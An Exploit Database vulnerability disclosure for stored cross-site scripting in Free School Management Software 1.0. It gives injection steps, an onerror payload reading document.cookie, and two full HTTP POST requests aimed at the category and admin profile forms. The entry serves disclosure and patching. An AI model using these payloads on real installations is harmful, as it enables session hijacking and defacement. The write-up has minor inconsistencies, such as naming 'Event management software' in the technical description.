Free School Management Software 1.0 – ‘multiple’ Stored Cross-Site Scripting (XSS)

• Exploit Database
• 16 阅读

• 作者： fuzzyap1
  日期： 2021-12-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50586/

• # Exploit Title: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
  # Exploit Author: fuzzyap1
  # Date: 7-12-2021
  # Category: Web application
  # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip
  # Version: 1.0
  # Tested on: windows
  # Vulnerable page: http://localhost/admin/enquiry_category
  # Vulnerable Parameters: "category"
  
  Technical description:
  A stored XSS vulnerability exists in the Event management software. An
  attacker can leverage this vulnerability in order to run javascript on the
  web server surfers behalf, which can lead to cookie stealing, defacement
  and more.
  
  Steps to exploit:
  1) Navigate to http://localhost/admin/enquiry_category
  2) Insert your payload in the "category" parameter
  3) Click "save"
  
  Proof of concept (Poc):
  The following payload will allow you to run the javascript -
  "><img src=# onerror=alert(document.cookie)>
  
  ---
  
  POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
  Gecko/20100101 Firefox/89.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data;
  boundary=---------------------------151631281127875309002088019539
  Content-Length: 490
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/admin/enquiry_category
  Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63;
  ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0
  Upgrade-Insecure-Requests: 1
  
  -----------------------------151631281127875309002088019539
  Content-Disposition: form-data; name="category"
  
  This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)>
  -----------------------------151631281127875309002088019539
  Content-Disposition: form-data; name="purpose"
  
  Payment
  -----------------------------151631281127875309002088019539
  Content-Disposition: form-data; name="whom"
  
  Tutorial
  -----------------------------151631281127875309002088019539--
  
  ---
  
  Steps to exploit:
  1) Navigate to http://localhost/admin/manage_profile
  2) Insert your payload in the "anme" parameter
  3) Click "save"
  
  Proof of concept (Poc):
  The following payload will allow you to run the javascript -
  "><img src=# onerror=alert('xss')>
  
  ---
  
  POST /admin/manage_profile/update HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
  Gecko/20100101 Firefox/89.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data;
  boundary=---------------------------13285163425854907563979323722
  Content-Length: 519
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/admin/manage_profile
  Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16
  Upgrade-Insecure-Requests: 1
  
  -----------------------------13285163425854907563979323722
  Content-Disposition: form-data; name="name"
  
  Administrator"><img src=# onerror=alert(document.cookie)>
  -----------------------------13285163425854907563979323722
  Content-Disposition: form-data; name="email"
  
  admin@admin.com
  -----------------------------13285163425854907563979323722
  Content-Disposition: form-data; name="userfile"; filename=""
  Content-Type: application/octet-stream
  
  
  -----------------------------13285163425854907563979323722--
  
  ---